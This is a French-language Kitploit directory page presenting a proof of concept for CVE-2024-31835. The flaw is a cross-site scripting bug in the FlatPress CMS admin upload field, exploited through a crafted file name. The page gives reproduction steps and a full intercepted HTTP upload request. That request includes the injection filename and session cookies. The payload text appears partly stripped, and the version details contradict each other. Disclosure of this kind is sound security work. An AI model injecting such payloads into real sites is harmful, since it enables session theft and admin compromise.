Skip to content
KitploitKITPLOIT
OutilsBlog
Soumettre
OutilsBlog
Soumettre

Outils de Hacking, PenTest et Cybersécurité pour votre Arsenal de Sécurité !

Kitploit est un répertoire d'outils de hacking, de cybersécurité et de pentesting. Découvrez les dernières mises à jour des projets pour trouver des vulnérabilités, analyser des systèmes, automatiser les tests et renforcer votre sécurité.

··Flux·Contact·Confidentialité·© 2026 Kitploit

Répertoire d'outils

Catégories

Voir toutes les catégories
Loading categories
CVE-2024-31835 — Vulnérabilité de type Cross Site Scripting dans flatpress CMS Flatpress v1.3 permet à un attaquant distant d'exécuter du code arbitraire via un payload conçu vers le paramètre de nom de fichier. | Kitploit
Outils/GitHubGitHub/paragbagul111/cve-2024-31835
Analyse des VulnérabilitésAnalyse de CodeExploitationSécurité WebTests d'Intrusion
GitHubparagbagul111/cve-2024-31835

CVE-2024-31835

Vulnérabilité de type Cross Site Scripting dans flatpress CMS Flatpress v1.3 permet à un attaquant distant d'exécuter du code arbitraire via un payload conçu vers le paramètre de nom de fichier.

Voir le dépôt
il y a 1 anPas encore vérifié

Populaires

Voir tout →

Découvrez les outils les plus utilisés par notre communauté.

Explorer tous les outils

Parcourez notre collection d'outils

Voir tous les outils →
Partager

CVE-2024-31835

Vulnérabilité de Cross-Site Scripting dans Flatpress CMS v1.3 permet à un attaquant distant d'exécuter du code arbitraire via une charge utile malveillante dans le paramètre nom de fichier.

Composant affecté : Champ de téléchargement de fichiers du panneau d'administration FlatPress CMS

Version corrigée : Flatpress v1.3 - sera corrigé dans FlatPress version 1.3.

Type d'attaque : À distance

Vecteurs d'attaque : Exploiter la vulnérabilité en forgeant le nom du fichier image

Étapes pour reproduire :

  1. Connectez-vous au compte administrateur et ouvrez l'URL ci-dessous http://127.0.0.1/flatpress-1.2.1/admin.php?p=uploader&action=mediamanager
  2. Cliquez sur le champ de téléchargement, téléchargez le fichier de votre choix, cliquez sur Télécharger et interceptez la requête avec Burpsuite. La requête ressemblera à l'exemple ci-dessous. Injectez la charge utile JavaScript dans le nom du fichier : testtest

Exemple de requête

root@kitploit:~
POST /flatpress-1.2.1/admin.php?p=uploader&action=default HTTP/1.1
Host: 127.0.0.1
Content-Length: 1598
Cache-Control: max-age=0
sec-ch-ua: "Not A(Brand";v="24", "Chromium";v="110"
sec-ch-ua-mobile: ?0
sec-ch-ua-platform: "Linux"
Upgrade-Insecure-Requests: 1
Origin: http://127.0.0.1
Content-Type: multipart/form-data; boundary=----WebKitFormBoundaryzHnyH0cX0ojRbqom
User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/110.0.5481.78 Safari/537.36
Accept: text/html,application/xhtml+xml,application/xml;q=0.9,image/avif,image/webp,image/apng,*/*;q=0.8,application/signed-exchange;v=b3;q=0.7
Sec-Fetch-Site: same-origin
Sec-Fetch-Mode: navigate
Sec-Fetch-User: ?1
Sec-Fetch-Dest: document
Referer: http://127.0.0.1/flatpress-1.2.1/admin.php?p=uploader
Accept-Encoding: gzip, deflate
Accept-Language: en-US,en;q=0.9
Cookie: fpuser_fp-9b0a379a=parag; fppass_fp-9b0a379a=%242y%2410%24j.D1Ab.xVMoIDu9yQF8QjefOZmz9JPoh4QwzpoCdYxlqSkNQDGag2; fpsess_fp-9b0a379a=mg65h4rd8onvv2tniminpq635f
Connection: close

------WebKitFormBoundaryzHnyH0cX0ojRbqom
Content-Disposition: form-data; name="_wpnonce"
60f24876be
------WebKitFormBoundaryzHnyH0cX0ojRbqom
Content-Disposition: form-data; name="_wp_http_referer"
/flatpress-1.2.1/admin.php?p=uploader
------WebKitFormBoundaryzHnyH0cX0ojRbqom
Content-Disposition: form-data; name="upload[]"; filename="test.phpuh9aeairjipc8brr"
Content-Type: application/x-php

TEst
------WebKitFormBoundaryzHnyH0cX0ojRbqom--

Références :

https://portswigger.net/web-security/cross-site-scripting https://drive.google.com/file/d/1OthtP87MduNTYur_p0RZv3moY8CrBcaM/view

Vendeur du produit : flatpress CMS

Confirmé le : 11/06/2023

Découvreur : Parag Bagul

Télécharger l’outil